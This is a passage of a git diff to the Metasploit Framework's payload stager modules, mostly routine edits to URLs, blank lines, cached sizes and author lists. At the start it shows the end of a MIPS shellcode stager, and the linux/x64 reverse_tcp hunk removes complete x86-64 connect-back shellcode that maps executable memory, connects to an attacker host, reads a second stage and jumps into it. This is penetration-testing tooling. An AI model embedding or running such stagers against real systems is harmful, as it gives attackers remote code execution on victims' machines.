+            "\xf8\xff\xa4\x8f" +  #  lw a0,-8(sp)
+            "\x20\x28\x40\x00" +  #  add   a1,v0,zero
+            "\xfd\xff\x09\x24" +  #  li t1,-3
+            "\x27\x48\x20\x01" +  #  nor   t1,t1,zero
+            "\x20\x30\x20\x01" +  #  add   a2,t1,zero
+            "\x33\x10\x02\x24" +  #  li v0,4147
+            "\x0c\x01\x01\x01" +  #  syscall  0x40404
+            "\x2a\x80\x07\x00" +  #  slt   s0,zero,a3
+            "\x03\x00\x00\x16" +  #  bnez  s0,0x4006bc <failed>
+            "\xf8\xff\xb1\x8f" +  #  lw s1,-8(sp)
+            "\xfc\xff\xb2\x8f" +  #  lw s2,-4(sp)
+            "\x09\xf8\x20\x02" +  #  jalr  s1
+            "\x01\x00\x04\x24" +  #  li a0,1
+            "\xa1\x0f\x02\x24" +  #  li v0,4001
+            "\x0c\x01\x01\x01" +  #  syscall  0x40404
+            "\x25\x08\x20\x00" +  #  move  at,at
+            "\x25\x08\x20\x00"    #  move  at,at
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x64/bind_tcp.rb b/modules/payloads/stagers/linux/x64/bind_tcp.rb
index f2362555f1..5fb4cae196 100644
--- a/modules/payloads/stagers/linux/x64/bind_tcp.rb
+++ b/modules/payloads/stagers/linux/x64/bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 module MetasploitModule
diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb
index f398543e27..90ad6c05d6 100644
--- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb
+++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb
@@ -1,77 +1,28 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
+require 'msf/core/payload/linux/x64/reverse_tcp'
 
 module MetasploitModule
 
-  CachedSize = 68
+  CachedSize = 127
 
   include Msf::Payload::Stager
-  include Msf::Payload::Linux
+  include Msf::Payload::Linux::ReverseTcp_x64
 
   def initialize(info = {})
     super(merge_info(info,
       'Name'          => 'Reverse TCP Stager',
       'Description'   => 'Connect back to the attacker',
-      'Author'        => 'ricky',
+      'Author'        => ['ricky', 'tkmru'],
       'License'       => MSF_LICENSE,
       'Platform'      => 'linux',
       'Arch'          => ARCH_X64,
       'Handler'       => Msf::Handler::ReverseTcp,
-      'Stager'        =>
-        {
-          'Offsets' =>
-            {
-              'LHOST' => [ 45, 'ADDR' ],
-              'LPORT' => [ 43, 'n'    ],
-            },
-          'Payload' =>
-            "\x48\x31\xff"                 + # xor    %rdi,%rdi
-            "\x6a\x09"                     + # pushq  $0x9
-            "\x58"                         + # pop    %rax
-            "\x99"                         + # cltd
-            "\xb6\x10"                     + # mov    $0x10,%dh
-            "\x48\x89\xd6"                 + # mov    %rdx,%rsi
-            "\x4d\x31\xc9"                 + # xor    %r9,%r9
-            "\x6a\x22"                     + # pushq  $0x22
-            "\x41\x5a"                     + # pop    %r10
-            "\xb2\x07"                     + # mov    $0x7,%dl
-            "\x0f\x05"                     + # syscall
-            # mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
-            "\x56"                         + # push   %rsi
-            "\x50"                         + # push   %rax
-            "\x6a\x29"                     + # pushq  $0x29
-            "\x58"                         + # pop    %rax
-            "\x99"                         + # cltd
-            "\x6a\x02"                     + # pushq  $0x2
-            "\x5f"                         + # pop    %rdi
-            "\x6a\x01"                     + # pushq  $0x1
-            "\x5e"                         + # pop    %rsi
-            "\x0f\x05"                     + # syscall
-            # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
-            "\x48\x97"                     + # xchg   %rax,%rdi
-            "\x48\xb9\x02\x00"             + # movabs $0x100007fb3150002,%rcx
-            "\x15\xb3"                     + # LPORT
-            "\x7f\x00\x00\x01"             + # LHOST
-            "\x51"                         + # push   %rcx
-            "\x48\x89\xe6"                 + # mov    %rsp,%rsi
-            "\x6a\x10"                     + # pushq  $0x10
-            "\x5a"                         + # pop    %rdx
-            "\x6a\x2a"                     + # pushq  $0x2a
-            "\x58"                         + # pop    %rax
-            "\x0f\x05"                     + # syscall
-            # connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
-            "\x59"                         + # pop    %rcx
-            "\x5e"                         + # pop    %rsi
-            "\x5a"                         + # pop    %rdx
-            "\x0f\x05"                     + # syscall
-            # read(3, "", 4096)
-            "\xff\xe6"                       # jmpq   *%rsi
-        }
-      ))
+      'Stager'        => { 'Payload' => '' }))
   end
+
 end
diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb
index d9ec292995..1263ce3991 100644
--- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb
+++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -34,5 +34,4 @@ module MetasploitModule
   def use_ipv6
     true
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb
index 3177b7cfe0..1ea5ef0ae6 100644
--- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb
+++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -38,5 +38,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb
index 23f9352d67..2f05f2f4f5 100644
--- a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb
+++ b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -49,5 +48,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb
index 870492af0e..4970d964e8 100644
--- a/modules/payloads/stagers/linux/x86/bind_tcp.rb
+++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,5 +26,4 @@ module MetasploitModule
       'Stager'      => { 'RequiresMidstager' => true }
     ))
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb
index 7a0d09eb60..d95423641e 100644
--- a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb
+++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -38,5 +38,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x86/find_tag.rb b/modules/payloads/stagers/linux/x86/find_tag.rb
index 32132d9d3d..9b30727e9b 100644
--- a/modules/payloads/stagers/linux/x86/find_tag.rb
+++ b/modules/payloads/stagers/linux/x86/find_tag.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/find_tag'
 
 
@@ -44,5 +43,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb
index 3389941c3a..c1397283c5 100644
--- a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb
+++ b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb
index aaf69a834d..1ee41bb717 100644
--- a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb
+++ b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -50,5 +49,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb
index 1eb84c5fa6..6a8571a1fd 100644
--- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb
+++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb
@@ -1,29 +1,27 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/core/payload/linux/reverse_tcp'
 
 module MetasploitModule
 
-  CachedSize = 71
+  CachedSize = 123
 
   include Msf::Payload::Stager
-  include Msf::Payload::Linux::ReverseTcp
+  include Msf::Payload::Linux::ReverseTcp_x86
 
   def initialize(info = {})
     super(merge_info(info,
       'Name'        => 'Reverse TCP Stager',
       'Description' => 'Connect back to the attacker',
-      'Author'      => [ 'skape', 'egypt' ],
+      'Author'      => [ 'skape', 'egypt', 'tkmru' ],
       'License'     => MSF_LICENSE,
       'Platform'    => 'linux',
       'Arch'        => ARCH_X86,
       'Handler'     => Msf::Handler::ReverseTcp,
       'Stager'      => { 'Payload' => '' }))
   end
-
 end
diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb
index 8dc5b59c43..dbaa1486ad 100644
--- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb
+++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb
@@ -1,18 +1,17 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/core/payload/linux/reverse_tcp'
 
 module MetasploitModule
 
-  CachedSize = 114
+  CachedSize = 166
 
   include Msf::Payload::Stager
-  include Msf::Payload::Linux::ReverseTcp
+  include Msf::Payload::Linux::ReverseTcp_x86
 
   def self.handler_type_alias
     'reverse_tcp_uuid'
@@ -38,5 +37,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/multi/reverse_http.rb b/modules/payloads/stagers/multi/reverse_http.rb
index 0c6aee6c3d..e97415c79e 100644
--- a/modules/payloads/stagers/multi/reverse_http.rb
+++ b/modules/payloads/stagers/multi/reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,5 +26,4 @@ module MetasploitModule
       'Stager'      => {'Payload' => ''},
       'Convention'  => 'http'))
   end
-
 end
diff --git a/modules/payloads/stagers/multi/reverse_https.rb b/modules/payloads/stagers/multi/reverse_https.rb
index 5c11245ae8..dc192f84e8 100644
--- a/modules/payloads/stagers/multi/reverse_https.rb
+++ b/modules/payloads/stagers/multi/reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/netware/reverse_tcp.rb b/modules/payloads/stagers/netware/reverse_tcp.rb
index 705d164018..1a468d4db5 100644
--- a/modules/payloads/stagers/netware/reverse_tcp.rb
+++ b/modules/payloads/stagers/netware/reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasm'
 require 'msf/core/handler/reverse_tcp'
 
@@ -210,5 +209,4 @@ EOS
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/osx/armle/bind_tcp.rb b/modules/payloads/stagers/osx/armle/bind_tcp.rb
index 30852ee495..5921ea1ab9 100644
--- a/modules/payloads/stagers/osx/armle/bind_tcp.rb
+++ b/modules/payloads/stagers/osx/armle/bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -151,5 +150,4 @@ module MetasploitModule
 
     return true
   end
-
 end
diff --git a/modules/payloads/stagers/osx/armle/reverse_tcp.rb b/modules/payloads/stagers/osx/armle/reverse_tcp.rb
index 02a21ab428..290f67d2ad 100644
--- a/modules/payloads/stagers/osx/armle/reverse_tcp.rb
+++ b/modules/payloads/stagers/osx/armle/reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -127,5 +126,4 @@ module MetasploitModule
 
     return true
   end
-
 end
diff --git a/modules/payloads/stagers/osx/ppc/bind_tcp.rb b/modules/payloads/stagers/osx/ppc/bind_tcp.rb
index 9b409d238e..41e9bf760e 100644
--- a/modules/payloads/stagers/osx/ppc/bind_tcp.rb
+++ b/modules/payloads/stagers/osx/ppc/bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -50,5 +49,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/osx/ppc/find_tag.rb b/modules/payloads/stagers/osx/ppc/find_tag.rb
index 476b0cd61f..d5ee13fcbd 100644
--- a/modules/payloads/stagers/osx/ppc/find_tag.rb
+++ b/modules/payloads/stagers/osx/ppc/find_tag.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/find_tag'
 
 
@@ -57,5 +56,4 @@ module MetasploitModule
 
     return false
   end
-
 end
diff --git a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb
index 81a83137c6..e82362ea34 100644
--- a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb
+++ b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -48,5 +47,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb
index f05f39dfd2..5257ef27ce 100644
--- a/modules/payloads/stagers/osx/x64/bind_tcp.rb
+++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb
index a91e3b7c45..568fd2cfcf 100644
--- a/modules/payloads/stagers/osx/x64/reverse_tcp.rb
+++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/osx/x86/bind_tcp.rb b/modules/payloads/stagers/osx/x86/bind_tcp.rb
index 37a2442f44..1e90af8a73 100644
--- a/modules/payloads/stagers/osx/x86/bind_tcp.rb
+++ b/modules/payloads/stagers/osx/x86/bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/osx/x86/reverse_tcp.rb b/modules/payloads/stagers/osx/x86/reverse_tcp.rb
index 2cf9103bfb..1130a0c5f5 100644
--- a/modules/payloads/stagers/osx/x86/reverse_tcp.rb
+++ b/modules/payloads/stagers/osx/x86/reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/php/bind_tcp.rb b/modules/payloads/stagers/php/bind_tcp.rb
index 41b0f404fe..048eff527c 100644
--- a/modules/payloads/stagers/php/bind_tcp.rb
+++ b/modules/payloads/stagers/php/bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,7 @@ require 'msf/core/payload/php/bind_tcp'
 
 module MetasploitModule
 
-  CachedSize = 1188
+  CachedSize = 1338
 
   include Msf::Payload::Stager
   include Msf::Payload::Php::BindTcp
@@ -25,5 +25,4 @@ module MetasploitModule
       'Stager'        => { 'Payload' => "" }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6.rb b/modules/payloads/stagers/php/bind_tcp_ipv6.rb
index fc9b21be05..ad9c422279 100644
--- a/modules/payloads/stagers/php/bind_tcp_ipv6.rb
+++ b/modules/payloads/stagers/php/bind_tcp_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,7 @@ require 'msf/core/payload/php/bind_tcp'
 
 module MetasploitModule
 
-  CachedSize = 1187
+  CachedSize = 1337
 
   include Msf::Payload::Stager
   include Msf::Payload::Php::BindTcp
@@ -33,5 +33,4 @@ module MetasploitModule
   def use_ipv6
     true
   end
-
 end
diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb
index f8a8d550fe..89f2f2ae3b 100644
--- a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb
+++ b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,7 @@ require 'msf/core/payload/php/bind_tcp'
 
 module MetasploitModule
 
-  CachedSize = 1361
+  CachedSize = 1511
 
   include Msf::Payload::Stager
   include Msf::Payload::Php::BindTcp
@@ -37,5 +37,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/php/bind_tcp_uuid.rb b/modules/payloads/stagers/php/bind_tcp_uuid.rb
index 8b19739f85..290e3b936f 100644
--- a/modules/payloads/stagers/php/bind_tcp_uuid.rb
+++ b/modules/payloads/stagers/php/bind_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,7 @@ require 'msf/core/payload/php/bind_tcp'
 
 module MetasploitModule
 
-  CachedSize = 1362
+  CachedSize = 1512
 
   include Msf::Payload::Stager
   include Msf::Payload::Php::BindTcp
@@ -33,5 +33,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb
index 48df683002..3298b70837 100644
--- a/modules/payloads/stagers/php/reverse_tcp.rb
+++ b/modules/payloads/stagers/php/reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,7 @@ require 'msf/core/payload/php/reverse_tcp'
 
 module MetasploitModule
 
-  CachedSize = 951
+  CachedSize = 1116
 
   include Msf::Payload::Stager
   include Msf::Payload::Php::ReverseTcp
@@ -25,5 +25,4 @@ module MetasploitModule
       'Stager'      => {'Payload' => ""}
     ))
   end
-
 end
diff --git a/modules/payloads/stagers/php/reverse_tcp_uuid.rb b/modules/payloads/stagers/php/reverse_tcp_uuid.rb
index 00f4387a0f..0d2d5337ed 100644
--- a/modules/payloads/stagers/php/reverse_tcp_uuid.rb
+++ b/modules/payloads/stagers/php/reverse_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,7 @@ require 'msf/core/payload/php/reverse_tcp'
 
 module MetasploitModule
 
-  CachedSize = 1125
+  CachedSize = 1290
 
   include Msf::Payload::Stager
   include Msf::Payload::Php::ReverseTcp
@@ -33,5 +33,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb
index 7dade506ab..a6adc074f4 100644
--- a/modules/payloads/stagers/python/bind_tcp.rb
+++ b/modules/payloads/stagers/python/bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -29,5 +29,4 @@ module MetasploitModule
       'Stager'      => {'Payload' => ""}
     ))
   end
-
 end
diff --git a/modules/payloads/stagers/python/bind_tcp_uuid.rb b/modules/payloads/stagers/python/bind_tcp_uuid.rb
index a51da767c1..d083ce6797 100644
--- a/modules/payloads/stagers/python/bind_tcp_uuid.rb
+++ b/modules/payloads/stagers/python/bind_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -38,5 +38,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb
index 103fdc7905..7225857ab2 100644
--- a/modules/payloads/stagers/python/reverse_http.rb
+++ b/modules/payloads/stagers/python/reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -27,5 +27,4 @@ module MetasploitModule
       'Stager'        => {'Payload' => ""}
     ))
   end
-
 end
diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb
index 059619f1e4..18410551a0 100644
--- a/modules/payloads/stagers/python/reverse_https.rb
+++ b/modules/payloads/stagers/python/reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -34,5 +34,4 @@ module MetasploitModule
   def generate
     super({scheme: 'https'})
   end
-
 end
diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb
index bcc1e1d6e3..a59e4bdcf4 100644
--- a/modules/payloads/stagers/python/reverse_tcp.rb
+++ b/modules/payloads/stagers/python/reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -27,5 +27,4 @@ module MetasploitModule
       'Stager'      => {'Payload' => ""}
     ))
   end
-
 end
diff --git a/modules/payloads/stagers/python/reverse_tcp_ssl.rb b/modules/payloads/stagers/python/reverse_tcp_ssl.rb
index 263e940a27..af0eb4c866 100644
--- a/modules/payloads/stagers/python/reverse_tcp_ssl.rb
+++ b/modules/payloads/stagers/python/reverse_tcp_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: https://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,7 @@ require 'msf/core/payload/python/reverse_tcp_ssl'
 
 module MetasploitModule
 
-  CachedSize = 378
+  CachedSize = 470
 
   include Msf::Payload::Stager
   include Msf::Payload::Python::ReverseTcpSsl
@@ -25,5 +25,4 @@ module MetasploitModule
       'Stager'        => {'Payload' => ""}
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb
index bcec6e0c4f..2fe170ccc8 100644
--- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb
+++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -37,5 +37,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb b/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb
index 16d6e80120..5d0ff323f6 100644
--- a/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb
+++ b/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
diff --git a/modules/payloads/stagers/windows/bind_hidden_tcp.rb b/modules/payloads/stagers/windows/bind_hidden_tcp.rb
index c382ed70bc..820f3bc60a 100644
--- a/modules/payloads/stagers/windows/bind_hidden_tcp.rb
+++ b/modules/payloads/stagers/windows/bind_hidden_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -75,5 +74,4 @@ module MetasploitModule
       OptAddress.new('AHOST', [true, "IP address allowed", nil])
     ])
   end
-
 end
diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb
index 9af4ea61ec..23d0fcce67 100644
--- a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb
+++ b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/core/payload/windows/bind_tcp'
 
@@ -35,5 +34,4 @@ module MetasploitModule
   def use_ipv6
     true
   end
-
 end
diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb
index 1d8eaa363a..d596b3f566 100644
